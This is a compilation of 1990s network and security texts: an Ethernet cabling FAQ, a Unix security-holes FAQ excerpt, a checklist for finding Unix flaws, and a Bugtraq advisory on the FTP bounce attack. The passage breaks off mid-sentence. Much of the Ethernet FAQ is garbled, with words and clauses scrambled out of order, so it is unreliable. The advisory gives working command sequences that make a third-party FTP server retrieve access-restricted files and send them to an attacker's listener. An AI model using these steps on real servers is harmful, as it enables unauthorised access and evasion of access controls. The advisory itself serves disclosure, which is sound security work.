A: Unshielded twisted pair, shielded twisted pair. UTP is what the
phone companies
typically use, though this is
enough quality for high-speed network use.
Either one
can be
STP is mostly from IBM.
used for Ethernet, but they have different
electrical characteristics (impedance) and
matched freely.
not always of high-
can't be
mixed and
Some manufacturer's hubs and concentrator cards
can be bought that will speak to either type of cable, so you CAN
hook them together in a manner.
Q: What exactly means 10Base5, 10BaseT, 10Base2, 10Broad36, etc.
A: The "10" stands for signalling speed: 10MHz. "Base" means Baseband,
"broad" means
to indicate
broadband. Initially, the last section as
the maximum
This convention
where the T
intended
length of an unrepeated cable segment.
was modified with
means twisted pair, and
the introduction of 10BaseT,
10BaseF
fiber (see the following Q&A for specifics).
where
the F means
This actually comes
from the IEEE committee number for that media.
In actual practice:
10Base-2
Is 10MHz Ethernet running over thin, baseband coax.
10Base-2 is also commonly referred to as thin-Ethernet
or Cheapernet.
10Base-5
Is 10MHz Ethernet running over standard (thick) baseband coax.
10Base-F
Is 10MHz Ethernet running over fiber-optic cabling.
10Base-T
Is 10MHz Ethernet running over unshielded, twistedpair cabling.
Q: Are there any restrictions on how Ethernet is cabled?
A: Yes, there are many, and they vary according to the media used.
First of all, there are distance limitations:
10Base-2
limited to 185 meters (607 ft) per unrepeated cable
segment.
10Base-5
limited to 500 meters (1,640 ft) per unrepeated cable
segment.
10Base-F
depends on the signaling technology and medium used
but can go up to 2KM.
10Base-T
generally accepted to have a maximum run of 100-150M,
but is really based on signal loss in db's (11.5db
maximum loss source to destination).
Then there are limitations on the number of repeaters and cable
segments allowed on a single network. There may be no more than
five (5) repeated segments, nor more than four (4) repeaters on any
Ethernet; and
of the five
cable segments, only three (3)
may be
populated. This is referred to as the "5-4-3" rule (5 segments, 4
repeaters, 3 populated segments).
It can really get messy when you
start cascading through 10Base-T
hubs, which
themselves.
are repeaters unto
Just try to remember, that any possible path between
two network devices on an unbridged/unrouted network cannot pass
through more than 4 repeaters or hubs, nor more than 3 populated
cable segments.
Finally, 10Base-2 is limited to a maximum of 30 network devices per
unrepeated network segment with a minimum distance of 0.5m (1.5ft)
between T-connectors. 10Base-5 is limited
to
a maximum of 100
network devices per unrepeated segment, with a minimum distance of
2.5m
(8.2ft)
between
taps/T's (usually
stamped on the cable itself every 2.5m).
indicated by a
marker
I am not aware of any theoretical limit on the number of 10Base-T
devices, and don't know the limitations for
10Base-F yet.
(Can
someone fill-in the blanks?)
Q: What is 10Base-F?
A: 10Base-F is an IEEE standard for 10mbps Ethernet over fiber-optic
cabling. It defines
the methodology
and standard devices
which,
ideally, can permit one company's 10Base-F devices to interoperate
with any others'.
Q: What means FOIRL?
A: Fiber Optic Inter Repeater Link. A "IEEE 802 standard" worked out
between many vendors
some time ago
across long
distances
adapted to
other applications
repeaters
(you
can
for carrying Ethernet signals
via fiber optic cable. It has since been
besides connecting segments via
get FOIRL cards for
PCs).
It has been
superseded by the larger 10Base-F standard.
Q: What about wireless LAN's? Are there any?
A: Yes.
They typically use reflected or
point-to-point infrared
light, spread-spectrum RF or microwave RF transmission as as media.
They are
typically expensive, slow (relative to Ethernet) and are
not yet a mature technology. There are special applications for
light based (laser) repeaters.
Q: When should I choose 10BaseT, when 10Base2 (or others)?
A: The specific environment and application must be considered when
selecting your media type.
However, there
are some general rules-
of-thumb that you can consider:
Avoid using copper between buildings.
The electrical disturbances
caused by lightning, as well as naturally occurring differences in
ground potential over distance, can very quickly and easily cause
considerable damage to equipment
and people. The use of
fiber-
optic cabling between buildings eliminates network cabling as
a
safety risk. There are also various wireless
media available for
inter-building links, such as laser, spread-spectrum RF and microwave. However,
wireless media is much
more expensive and less
reliable than fiber-optic, and should only be considered when it is
impossible to get right-of-way for fiber-optic cable.
10Base-2 (thin Ethernet or
to
cable
an Ethernet
Cheapernet) is the least expensive way
network.
between 10Base-2 and 10Base-T
diminishing.
Still, for
However, the
(Ethernet
over
price
difference
UTP) is rapidly
small, budget-conscious installations,
10Base-2 is the most economical
topology.
The disadvantages of
10Base-2 is that any break in the cable or poor connection will
bring the entire network down,
more than 30 devices
and you need repeaters if you have
connected to the network
or the cable length
exceeds 185 meters (607 feet).
10Base-5 is generally used as a low-cost alternative to fiber-optic
media for use as a backbone segment within a single building. It's
extended length (500m or 1640ft), higher attached device count
(100) and better noise resistance make 10Base-5 well suited for use
as a
network trunk for one or more floors in a building.
the high cost of connecting each
device (in
However,
addition to the
interface, you also need an external transceiver, or MAU, and an
AUI cable) makes 10Base-5 too expensive for most LAN installations,
and like 10Base-2, a single break
or bad connection in the cable
can bring the entire network down.
10Base-T is the most flexible topology for LANs,
and
is generally
the best choice for most network installations. 10Base-T
multi-hub
concentrators, are typically installed in
location to
hubs, or
a central
the user community, and inexpensive UTP cabling is run
to each network device (which may be 100m, or 330ft, from the hub).
The signalling technology is very reliable, even in somewhat noisy
environments,
and 10Base-T hubs will
usually
detect many network
error conditions and automatically shut-down the offending port(s)
without affecting the rest
of the network (unless, of course, the
offending
rest
port was your
of the world).
10Base-2,
server, shared printer, or router to the
While the hardware
is more expensive than
the cabling is cheaper and requires less skill to
install, making 10Base-T installation costs
than 10Base-2. The flexibility
only slightly higher
and reliability more than offset
the marginally higher price.
10Base-F, and
its predecessor,
FOIRL, are
topologies for inter-building links.
limited to this role.
though the
the only recommended
However,
10Base-F can also be run
cost is prohibitively high
in
they need
to the
not be
desktop,
all but the most
specialized environments (generally, extremely noisy manufacturing
facilities,
or very
commonly, FOIRL
security-conscious
(and now,
installations).
More
10Base-F) is used inside buildings to
form backbone networks and to connect wiring closets together.
Q: What are the advantages/disadvantages of a star like cabling?
A: Old style Ethernet
bus wiring
(ie, taking the cable from one
machine to the next, and then to the next, etc) is prone
failure and
quickly consumes allowed
distances
to cable
due to aesthetic
wiring needs. If the wiring connection is broken at any point, the
entire network (segment) fails
- and the much greater
number of
connections increases the probability of a failure or break. On the
other hand, it's pretty
easy to do for a layman and may involve
less actual wiring for small segments.
Star
wiring eliminates
the single point
of failure of a common
wire. A central hub has many connections that radiate out to hosts,
if
one of these hosts connections fails it usually doesn't affect
the others.
Obviously, however, the hub becomes a central point of
failure itself, but studies show a
quality hub is less likely to
fail before a heavily used strand of coax.
There are a bunch of other reasons hubs are desirable, but this is
the biggie.
Q: Is there an official "standard" punch down scheme for 10BaseT?
A: Get a copy
of EIA-568,
it covers all of
that sort of stuff:
horizontal, vertical, connectors, patch cords, cross-connects, etc.
Q: Is it safe to run Unshield Twisted Pair next to power cable (it is
shielded)?
A: According to EIA/TIA-569, the standard wiring practices for running
data cabling and companion to the above referenced EIA/TIA-568, you
should not run data cable parallel
reality, this should
10Base-T.
such as
10Base-T uses differential signalling to pick
the data
the wire.
Since any
problem
However, in
with networks
signals off
not be a
to power cables.
interference from
nearby power
lines will usually affect all pairs equally, anything that is not
canceled-out by
the
twists in
the UTP should be ignored by the
receiving network interface.
Q: Why has the MAC address to be unique?
A: Each
card has a unique MAC address,
exclusively
grab packets
addresses are
two stations.
off
so that it will be able to
the wire
meant for it. If MAC
not unique, there is no way to distinguish between
Devices on
the network watch network traffic and
look for their own MAC address in each packet to
they
should decode
it or not.
Special
determine whether
circumstances exist for
broadcasting to every device.
Q: Is there a special numbering scheme for MAC addresses?
A: The MAC addresses are exactly 6 bytes in length, and are usually
written in hexadecimal
as
12:34:56:78:90:AB (the colons may be
omitted, but generally make the address more readable). Each
manufacturer of Ethernet devices applies for a certain range of MAC
addresses
they
can
use.
The first three bytes of the address
determine
the manufacturer.
RFC-1340 (available via FTP) lists
some of the manufacturer-assigned MAC addresses.
Q: What is a "segment"?
A: A piece of
wire bounded by bridges, routers, or terminators. Some
people consider wires on either
side of a repeater
separate
segments, but they aren't really.
Q: What is a "subnet"?
A: Another overloaded term. It can mean, depending on the usage,
segment, a set of machines grouped together by a specific
a
protocol
feature (note that these machines do not have to be on the same
segment, but they could be) or a big nylon thing used to capture
soviet subs.
Q: What is a fan-out? Is this device still used?
A: Fanout (a.k.a transceiver multiplexor, a.k.a.
ceiver, a.k.a.
multiport
trans-
DELNI) allows multiple stations to connect to
single transceiver or
transceiver-like device.
a
They are still
widely used.
Q: What means "AUI"?
A: Attachment Unit Interface, an IEEE term for the connection between
a controller and the transceiver.
Q: What is a transceiver?
A: A transceiver allows a station to transmit and receive to/from the
common medium. In addition, Ethernet transceivers detect collisions
on the medium and provide electrical isolation between stations.
Q: What means "MAU"?
A: Medium Access Unit, an
IEEE term for a transceiver. MAU is also
commonly [mis]used to describe
a Token-Ring Multi-Station Access
Unit (MSAU). Refer to HUB for an explanation of MSAU.
Q: What exactly does a repeater?
A: A repeater
acts on a purely
electrical level to connect to
segments. All it does is amplify and reshape (and, depending on the
type, possibly
retime)
segment distances. It does
the analog
not
waveform to extend network
know anything about addresses or
forwarding,
thus it cannot be used to reduce traffic
as a
bridge
can in the example above.
Q: What is a "HUB"?
A: A hub is a common wiring point for star-topology networks, and is a
common synonym for concentrator (though the latter generally has
additional features or capabilities). Arcnet, 10Base-T Ethernet and
10Base-F Ethernet and many proprietary network topologies
use hubs
to connect multiple cable runs in a star-wired
topology
into
a single network.
Token-Ring MSAUs (Multi-Station
Units) can also be considered a
token-ring bigot hear
that.
the different cable runs.
type of
hub,
but
Access
don't let a
Hubs have multiple ports to attach
Some hubs (such as 10Base-T and active
ArcNet) include electronics to
between each hub port.
network
regenerate and retime
the signal
Others (such as 10Base-F or passive Arcnet)
simply act as signal splitters, similar to the multi-tap cable-TV
splitters
you might use on your home antenna coax
10Base-F uses mirrors to split the signals
(of course,
between
cables).
Token-Ring MSAUs use relays (mechanical or electronic) to reroute
the network signals to each active device in series,
other
hubs
redistribute
received
signals
out
while all
all
ports
simultaneously, just as a 10Base-2 multi-port repeater would.
Q: What exactly does a bridge?
A: A bridge will connect to distinct segments
physical length
(usually referring to a
of wire) and transmit traffic between them. This
allows you to extend the
maximum size of the network while still
not breaking the maximum wire
length, attached device count, or
number of repeaters for a network segment.
Q: What does a "learning bridge"?
A: A learning bridge monitors MAC (OSI layer
2) addresses on both
sides of its connection and attempts to learn which addresses are
on which side.
It
can then decide when it
receives a
packet
whether it should cross the bridge or stay local (some packets may
not need to
cross the bridge because the source and destination
addresses are both on one side).
that
If
the bridge receives a packet
it doesn't know the addresses of, it will forward it by
default.
Q: What is a remote bridge?
A: A bridge as described
interface
on
above that has an Ethernet (or token-ring)
one side and a serial interface on the
would connect to a similar device on
line. Most commonly
impractical
other. It
the other side of the serial
used in WAN links where it is impossible or
to install network cables. A high-speed modem
DSU/CSU's, X.25 PAD's,
etc) and
intervening
telephone
(or T1
lines or
public data network would be used to connect the two remote bridges
together.
Q: What exactly does a router?
A: Routers work much like bridges, but they pay attention to the upper
network layer protocols (OSI layer 3) rather than physical layer
(OSI layer 1) protocols.
packet by looking at
A router will decide whether to forward a
the protocol level addresses (for instance,
TCP/IP addresses) rather than the MAC address. Because routers
work
at layer 3 of the
OSI stack, it is possible for
them to
transfer packets between different media types (i.e., leased lines,
Ethernet, token ring, X.25, Frame Relay and FDDI). Many routers
can also
function as bridges.
Routing would always be preferable
to bridging except for the fact that routers are slower and usually
more
expensive (due
inside the
to the amount of processing required to look
physical packet and
determine
which interface that
packet needs to get sent out).
Q: So should I use a router or a bridge?
A: There is no absolute answer to this. Your network layout, type and
amount of hosts and traffic, and other issues (both technical and
non-technical) must be considered. The following are the pros and
cons of each:
Routing:
+ Can route between different media (although FDDI to Ethernet
bridges
are becoming common via the
Translation
Bridging
standard).
+ There is isolation of Multicast & Broadcast packets at the
MAC layer which helps to reduce broadcast storms.
+ Can run multiple active paths between sites in a mesh network
to use links efficiently (bridging uses spanning tree to
decide if a link is forwarding or in a back up state).
+ Takes
part in
higher level
protocol so can provide more
features (examples = logical zones in Appletalk, proxy ARP on
IP).
+ Provide a clean cut off when connecting
multiple management
domains.
+ Only needs to know 'where
next?' and so
remote networks, whereas bridges must
hides the detail of
understand the whole
topology of the net.
Bridging:
+ Much cheaper boxes.
+ Learning bridges virtually autoconfigure themselves.
+ Works with any protocol that conforms to the MAC level spec.
some protocols such as DEC LAT & MOP can only be bridged.
+ Within a site uses IP address space more efficiently whilst
providing some traffic segregation (address space is becoming
a real scarce resource!).
+ Bridges
are generally less complex devices, which usually
translates to higher reliability.
+ Easy inter-vendor working via spanning tree standard (802.1d
or DEC STP)
Q: Are there problems mixing Bridging & routing?
A: You should be very careful about running bridges providing links in
parallel to a
router. Bridges may forward broadcast requests which
will confuse the router there are lots of
think of
filtering (e.g. ARP,
protocols you
may not
Apple ARP over 802.3 etc. etc.).
Also, DECnet routers have the same MAC address on all ports. This
will
probably cause the
bridge to think it
is seeing an Ethernet
loop.
Q: What is a Kalpana EtherSwitch?
A: A device that
principle.
works
sort of like a
bridge,
but off a different
It's advantages are that it is extremely fast and can
"bridge" more than one packet at a time (it is not limited
to two
interfaces as a traditional bridge is). Disadvantages are that it
does not understand spanning tree and doesn't work well in many to
one networks. You probably don't understand that, so ignore it.
Q: What is a driver?
A: Typically
the software that allows an Ethernet card in a computer
to decode packets and send them to the operating
data from the operating system for
card through the network.
system and encode
transmission by
the Ethernet
By handling the nitty-gritty
hardware
interface chores, it provides a device-independent interface to the
upper layer
protocols, thereby making them
[allegedly]
easier to develop and
meanings to this word,
more universal and
use. There are many other
but this is probably
what you are looking
for.
Q: What is NDIS, packet driver, ODI.?
A: NDIS is a Microsoft/3com puppy that allows "stacking" of multiple
protocols for a single underlying driver. Essentially it allows a
single Ethernet card in
speak many different
a PC (it's not limited to
Ethernet) to
network "languages", and usually at the same
time.
A packet driver is another method of allowing multiple protocols to
access the network interface at the
supported
same time.
Developed and
by FTP Software Inc, Clarkson University, BYU and, more
recently, Crynwr Software, the packet driver spec (PDS) is used to
provide a device independent interface to
various TCP/IP applica-
tions, and often in combination with concurrent Novell
access
(IPX/SPX).
ODI is Novell and Apple's equivalent of NDIS.
There are differ-
ences between the two specs, but not so much as to warrant description in this text.
The next logical question is "which one should I use?" There is no
simple or obvious answer, except that you should
use the one most
commonly required by your software.
Q: Is there a troubleshooting guide for Ethernet?
A: Many. I suggest you check your local technical bookstore.
(Recommendations needed)
Q: What books are good about Ethernet LAN's?
A: There are
many. The following are recommended by readers on this
list:
"The
Ethernet Management
Nemzow.
This book
Guide
- Keeping
has good coverage of
the Link"
by
Martin
most of the average
considerations of Ethernet, from what Manchester encoding is down
to production segment traffic analysis.
Q: Where can I get IEEE803.x docs online?
A: Nowhere. IEEE documents must be ordered from the IEEE themselves.
You can contact them at:
Institute of Electrical and Electronic Engineers
445 Hoes Lane
P.O. Box 1331
Piscataway, NJ 08855-1331
U.S.A.
(800) 678-IEEE
Q: Where can I get EIA/TIA docs online?
A: Nowhere? Must be ordered from:
Global Engineering
2805 McGaw Av
Irvine, CA 92714
phone 714-261-1455
Q: Where can I find the specifications of Ethernet equipment?
A: From the manufacturer of the product, probably.
Q: Where can I find IETF (Internet Engineering Task Force) documents?
A: These are available for anonymous FTP from a number of sites. One
known location is athos.rutgers.edu in /ietf.
Drafts are also on
athos in /internet-drafts.
-_________________________________________________________________________
RUCS
| Mark A. Medici, Systems Programmer III, User Services Division
User
| Rutgers University Computing Services, New Brunswick, NJ 08903
Services | [medici@gandalf.rutgers.edu]
[908-932-2412]
From: Manifestation
Subject: Security holes manifest themselves in (broadly) four ways...
Date: 11.10.93
( Please contribute by sending E-Mail to <scott@santafe.edu> ... )
[quoting from the comp.security.unix FAQ]
Security holes manifest themselves in (broadly) four ways:
1) Physical Security Holes.
- Where the potential problem is caused by giving unauthorised persons
physical access to the machine, where this might allow them to perform
things that they shouldn't be able to do.
A good example of this would be a public workstation room where it would
be trivial for a user to reboot a machine into single-user mode and muck
around with the workstation filestore, if precautions are not taken.
Another example of this is the need to restrict access to confidential
backup tapes, which may (otherwise) be read by any user with access to
the tapes and a tape drive, whether they are meant to have permission or
not.
2) Software Security Holes
- Where the problem is caused by badly written items of "privledged"
software (daemons, cronjobs) which can be compromised into doing things
which they shouldn't oughta.
The most famous example of this is the "sendmail debug" hole (see
bibliography) which would enable a cracker to bootstrap a "root" shell.
This could be used to delete your filestore, create a new account, copy
your password file, anything.
(Contrary to popular opinion, crack attacks via sendmail were not just
restricted to the infamous "Internet Worm" - any cracker could do this
by using "telnet" to port 25 on the target machine.
The story behind a
similar hole (this time in the EMACS "move-mail" software) is described
in [Stoll].)
New holes like this appear all the time, and your best hopes are to:
a: try to structure your system so that as little software as possible
runs with root/daemon/bin privileges, and that which does is known to
be robust.
b: subscribe to a mailing list which can get details of problems
and/or fixes out to you as quickly as possible, and then ACT when you
receive information.
>From: Wes Morgan <morgan@edu.uky.ms>
>
> c: When installing/upgrading a given system, try to install/enable only
> those software packages for which you have an immediate or foreseeable
> need.
Many packages include daemons or utilities which can reveal
> information to outsiders.
For instance, AT&T System V Unix' accounting
> package includes acctcom(1), which will (by default) allow any user to
> review the daily accounting data for any other user. Many TCP/IP packa> ges automatically install/run programs such as rwhod, fingerd, and
> <occasionally> tftpd, all of which can present security problems.
>
> Careful system administration is the solution. Most of these programs
> are initialized/started at boot time; you may wish to modify your boot
> scripts (usually in the /etc, /etc/rc, /etc/rcX.d directories) to pre> vent their execution.
You may wish to remove some utilities completely.
> For some utilities, a simple chmod(1) can prevent access from unauthorized
> users.
>
> In summary, DON'T TRUST INSTALLATION SCRIPTS/PROGRAMS!
Such facilities
> tend to install/run everything in the package without asking you.
Most
> installation documentation includes lists of "the programs included in
> this package"; be sure to review it.
3) Incompatible Usage Security Holes
- Where, through lack of experience, or no fault of his/her own, the
System Manager assembles a combination of hardware and software which
when used as a system is seriously flawed from a security point of view.
It is the incompatibility of trying to do two unconnected but useful
things which creates the security hole.
Problems like this are a pain to find once a system is set up and
running, so it is better to build your system with them in mind. It's
never too late to have a rethink, though.
Some examples are detailed below; let's not go into them here, it would
only spoil the surprise.
4) Choosing a suitable security philosophy and maintaining it.
>From: Gene Spafford <spaf@cs.purdue.edu>
>The fourth kind of security problem is one of perception and
>understanding. Perfect software, protected hardware, and compatible
>components don't work unless you have selected an appropriate security
>policy and turned on the parts of your system that enforce it. Having
>the best password mechanism in the world is worthless if your users
>think that their login name backwards is a good password! Security is
>relative to a policy (or set of policies) and the operation of a system
>in conformance with that policy.
--From: Hacking
Subject: Hacking Ideas
Date: 11/10/93
( Please contribute by sending E-Mail to <scott@santafe.edu> ... )
[ Many ideas taken from: HaxNet - APG V1.3 : Guide to finding new holes]
NOTE: I think this should be divided into general categories:
1) General principles
2) Looking for holes in src (most items here)
3) Looking in binary distributions
4) Looking in site specific configurations
The following general classifications suggest themselves:
1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
8) permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories
(Suggested splitting of above into main and sub-catagories)
I:
Suid binaries and scripts
unexpected user interactions
flawed liberary calls
implicit assumptions of external conditions (sym links, loc. paths)
race conditions
II:
daemons running with priviliged uid's
race conditions
poor file protectons
implicit file protections
trust
authentication
III: Kernel problems
Kernel race conditions
device driver code
The following four step method was created by System Development
Corporation, who report a 65% success rate on the flaw hypotheses
generated. Doing a comprehensive search for operating system flaws
requires four steps:
Step 1) Knowledge of system control structure.
===============================================
To find security holes, and identifying design weaknesses it is
necessary to understand the system control structure, and layers.
One should be able to list the:
A) security objects: items to be protected. ie: a users file.
B) control objects: items that protect security objects. ie: a i-node
C) mutual objects : objects in both classes. ie: the password file
With such a list, it is possible to graphically represent a control
hierarchy and identify potential points of attack. Making flow charts
to give a visual breakdown of relationships definitely helps.
Reading the various users, operators, and administrators manuals should
provide this information.
(following para's should probably be moved to a "legal" section)
Reading and greping source code should also prove valuable. For those
without a source licence, I would suggest we use LINUX, NET2, and BSD386
distributions in order to stay legal. At some future time we may be able
to form a working contract between someone or a company with legal access
to other distributions and members actively participating in this project.
It appears that extracts of proprietary code may be used for academic
study, so long as they are not reused in a commercial product - more
checking is necessary though.
Step 2) Generate an inventory of suspected flaws. (i.e. flaw hypotheses)
========================================================================
In particular we want:
Code history:
What UNIX src does a particular flavor derive from? This is important
for cross references (very often only one vendor patches certain code,
which may get reused, in it's unpatched reincarnation by others)
A solid cross reference:
Who checked which bug in what OS and what version prevents us from
duplicating work.
A good start would be listing all the suid binaries on the various OS
flavors/versions. Then try to work out why each program is suid. i.e.:
rcp is suid root because it must use a privilaged port to do user
name authentication.
Often code that was never designed to be suid, is made suid, durring
porting to solve file access problems.
We need to develope a data base that will be able to look at pairs and
triplets of data, specificly: program name, suid, sgid, object accessed
(why prog is suid/sgid), OS flavor/version, and flav/vers geniology.
Any sugestions on how to implement such a DB?
Step 3) Confirm hypotheses. (test and exploit flaws)
====================================================
Step 4) Make generalizations of the underlying system weaknesses, for
which the flaw represents a specific instance.
=====================================================================
Tool Box:
=========
AGREP: I suggest everyone obtain, and install agrep from:
ftp cs.arizona.edu /agrep/agrep.tar.Z
Agrep supports "windowing" so it can look for routines, and subroutines.
It also supports logical operators and is thus ideally suited to automating
the search for many of the following flaws. i.e. <psudocode>
agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or
agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
OR execvp()]} /usr/local/src/*.c
PERMUTATION PROGRAM: Another tool worth producing is a program to generate
all possible permutations of command line flags/arguments in order to uncover
undocumented features, and try to produce errors.
TCOV:
CRASH: Posted to USENET (what FTP archive?) (descrip?)
PAPERS: There are several papers that discuss methods of finding flaws, and
present test suites.
1) An Emphirical Study of the reliability of UNIX Utilities, by Barton P.
Miller, Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,
Dec '90. Describes a test suite for testing random input strings.
Results indicated that 25% of the programs hung, crashed, or misbehaved.
In one case the OS crashed. An understanding of buffer and register
layout on the environment in question, and the expected input is likely
to produce the desired results.
2) The Mothra tools set, in Proceedings of the 22nd Hawaii International
Conference on Systems and Software, pages 275-284, Kona, HI, January '89
3) Extending Mutation Testing to Find Environmental Bugs, by Eugene H.
Spafford, Software Practice and Experience, 20(2):181-189, Feb '90
4) A paper by IBM was mentioned that was submitted to USENIX a few years
ago. (Anyone have a citation?).
Specific Flaws to Check For:
============================
1) Look for routines that don't do boundary checking, or verify input.
ie: the gets() family of routines, where it is possible to overwrite
buffer boundaries. ( sprintf()?, gets(), etc. )
also: strcpy() which is why most src has:
#define SCYPYN((a)(b)) strcpy(a, b, sizeof(a))
2) SUID/SGID routines written in one of the shells, instead of C or
PERL.
3) SUID/SGID routines written in PERL that don't use the "taintperl"
program.)
4) SUID/SGID routines that use the system(), popen(), execlp(), or
execvp() calls to run something else.
5) Any program that uses relative path names inside the program.
6) The use of relative path names to specify dynamically linked libraries.
(look in Makefile).
7) Routines that don't check error return codes from system calls. (ie:
fork(2), suid(2), etc), setuid() rather, as in the famous rcp bug
8) Holes can often be found in code that:
A) is ported to a new environment.
B) receives unexpected input.
C) interacts with other local software.
D) accesses system files like passwd, L.sys, etc.
E) reads input from a publicly writable file/directory.
F) diagnostic programs which are typically not user-proofed.
9) Test code for unexpected input. Coverage, data flow, and mutation
testing tools are available.
10) Look in man pages, and users guides for warnings against doing X, and
try variations of X. Ditto for "bugs" section.
11) Look for seldom used, or unusual functions or commands - read backwards.
In particular looking for undocumented flags/arguments may prove useful.
Check flags that were in prior releases, or in other OS versions. Check
for options that other programs might use. For instance telnet uses -h
option to login ...
right, as most login.c's I've seen have:
if((getuid()) && hflag){
syslog()
exit()
}
12) Look for race conditions.
13) Failure of software to authenticate that it is really communicating
with the desired software or hardware module it wants to be accessing.
14) Lack or error detection to reset protection mechanisms following an
error.
15) Poor implementation resulting in, for example, condition codes being
improperly tested.
16) Implicit trust: Routine B assumes routine A's parameters are correct
because routine A is a system process.
17) System stores it's data or references user parameters in the users
address space.
18) Inter process communication: return conditions (passwd OK, illegal
parameter, segment error, etc) can provide a significant wedge, esp.
when combined with (17).
19) User parameters may not be adequately checked.
20) Addresses that overlap or refer to system areas.
21) Condition code checks may be omitted.
22) Failure to anticipate unusual or extraordinary parameters.
23) Look for system levels where the modules involved were written by
different programmers, or groups of programmers - holes are likely
to be found.
24) Registers that point to the location of a parameters value instead
of passing the value itself.
25) Any program running with system privileges. (too many progs are given
uid 0, to facilitate access to certain tables, etc.)
26) Group or world readable temporary files, buffers, etc.
27) Lack of threshold values, and lack of logging/notification once these
have been triggered.
28) Changing parameters of critical system areas prior to their execution
by a concurrent process. (race conditions)
29) Inadequate boundary checking at compile time, for example, a user
may be able to execute machine code disguised as data in a data area.
(if text and data areas are shared)
30) Improperly handling user generated asynchronous interrupts. Users
interrupting a process, performing an operation, and either returning
to continue the process or begin another will frequently leave the
system in an unprotected state. Partially written files are left open,
improper writing of protection infraction messages, improper setting
of protection bits, etc often occur.
31) Code that uses fopen(3) without setting the umask. ( eg: at(1), etc. )
In general, code that does not reset the real and effective uid before
forking.
32) Trace is your friend (or truss in SVR4) for helping figure out what
system calls a program is using.
33) Scan /usr/local fs's closely. Many admins will install software from
the net. Often you'll find tcpdump, top, nfswatch, ... suid'd root for
their ease of use.
34) Check suid programs to see if they are the ones originally put on the
system. Admins will sometimes put in a passwd replacement which is less
secure than the distributed version.
35) Look for programs that were there to install software or loadable
kernel modules.
36) Dynamically linked programs in general. Remember LD_PRELOAD, I think
that was the variable.
37) I/O channel programming is a prime target. Look for logical errors,
inconsistencies, and omissions.
38) See if it's possible for a I/O channel program to modify itself, loop
back, and then execute the newly modified code. (instruction pre-load
may screw this up)
39) If I/O channels act as independent processors they may have unlimited
access to memory, thus system code may be modified in memory prior to
execution.
40) Look for bugs requiring flaws in multiple pieces of software, i.e. say
program a can be used to change config file /etc/a now program b assumes
the information in a to be correct and this leads to unexpected results
(just look at how many programs trust /etc/utmp)
41) Any program, especially those suid/sgid, that allow shell escapes.
Date:
Wed, 12 Jul 1995 02:20:20 -0400
From:
*Hobbit* <hobbit@avian.org>
Subject:
The FTP Bounce Attack
To:
Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
This discusses one of many possible uses of the "FTP server bounce attack".
The mechanism used is probably well-known, but to date interest in detailing
or fixing it seems low to nonexistent.
This particular example demonstrates
yet another way in which most electronically enforced "export restrictions" are
completely useless and trivial to bypass. It is chosen in an effort to make
the reader sit up and notice that there are some really ill-conceived aspects
of the standard FTP protocol.
Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion
of some of these issues a couple of months ago which got me thinking more
deeply about them.
The motive
==========
You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve
cryptographic source code from crypto.com in the US. The FTP server at
crypto.com is set up to allow your connection, but deny access to the crypto
sources because your source IP address is that of a non-US site [as near as
their FTP server can determine from the DNS, that is]. In any case, you
cannot directly retrieve what you want from crypto.com's server.
However, crypto.com will allow ufred.edu to download crypto sources because
ufred.edu is in the US too.
You happen to know that /incoming on ufred.edu
is a world-writeable directory that any anonymous user can drop files into and
read them back from. Crypto.com's IP address is C.C.C.C.
The attack
==========
This assumes you have an FTP server that does passive mode. Open an FTP
connection to your own machine's real IP address [not localhost] and log in.
Change to a convenient directory that you have write access to, and then do:
quote "pasv"
quote "stor foobar"
Take note of the address and port that are returned from the PASV command,
F,F,F,F,X,X.
This FTP session will now hang, so background it or flip to
another window or something to proceed with the rest of this.
Construct a file containing FTP server commands. Let's call this file
"instrs". It will look like this:
user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...
F,F,F,F,X,X is the same address and port that your own machine handed you
on the first connection. The trash at the end is extra lines you create,
each containing 250 NULLS and nothing else, enough to fill up about 60K of
extra data. The reason for this filler is explained later.
Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming.
Now type the following into this FTP session, which transfers a copy of your
"instrs" file over and then tells ufred.edu's FTP server to connect to
crypto.com's FTP server using your file as the commands:
put instrs
quote "port C,C,C,C,0,21"
quote "retr instrs"
Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
connection. If the connection to ufred.edu didn't die by itself due to an
apparently common server bug, clean up by deleting "instrs" and exiting.
Otherwise you'll have to reconnect to finish.
Discussion
==========
There are several variants of this. Your PASV listener connection can be
opened on any machine that you have file write access to -- your own, another
connection to ufred.edu, or somewhere completely unrelated. In fact, it does
not even have to be an FTP server -- any utility that will listen on a known
TCP port and read raw data from it into a file will do. A passive-mode FTP
data connection is simply a convenient way to do this.
The extra nulls at the end of the command file are to fill up the TCP windows
on either end of the ufred -> crypto connection, and ensure that the command
connection stays open long enough for the whole session to be executed.
Otherwise, most FTP servers tend to abort all transfers and command processing
when the control connection closes prematurely.
The size of the data is enough
to fill both the receive and transmit windows, which on some OSes are quite
large [on the order of 30K]. You can trim this down if you know what OSes
are on either end and the sum of their default TCP window sizes. It is split
into lines of 250 characters to avoid overrunning command buffers on the target
server -- probably academic since you told the server to quit already.
If crypto.com disallows *any* FTP client connection from you at foreign.fr and
you need to see what files are where, you can always put "list -aR" in your
command file and get a directory listing of the entire tree via ufred.
You may have to retrieve your command file to the target's FTP server in ASCII
mode rather than binary mode.
Some FTP servers can deal with raw newlines, but
others may need command lines terminated by CRLF pairs. Keep this in mind when
retrieving files to daemons other than FTP servers, as well.
Other possbilities
==================
Despite the fact that such third-party connections are one-way only, they
can be used for all kinds of things.
Similar methods can be used to post
virtually untraceable mail and news, hammer on servers at various sites, fill
up disks, try to hop firewalls, and generally be annoying and hard to track
down at the same time. A little thought will bring realization of numerous
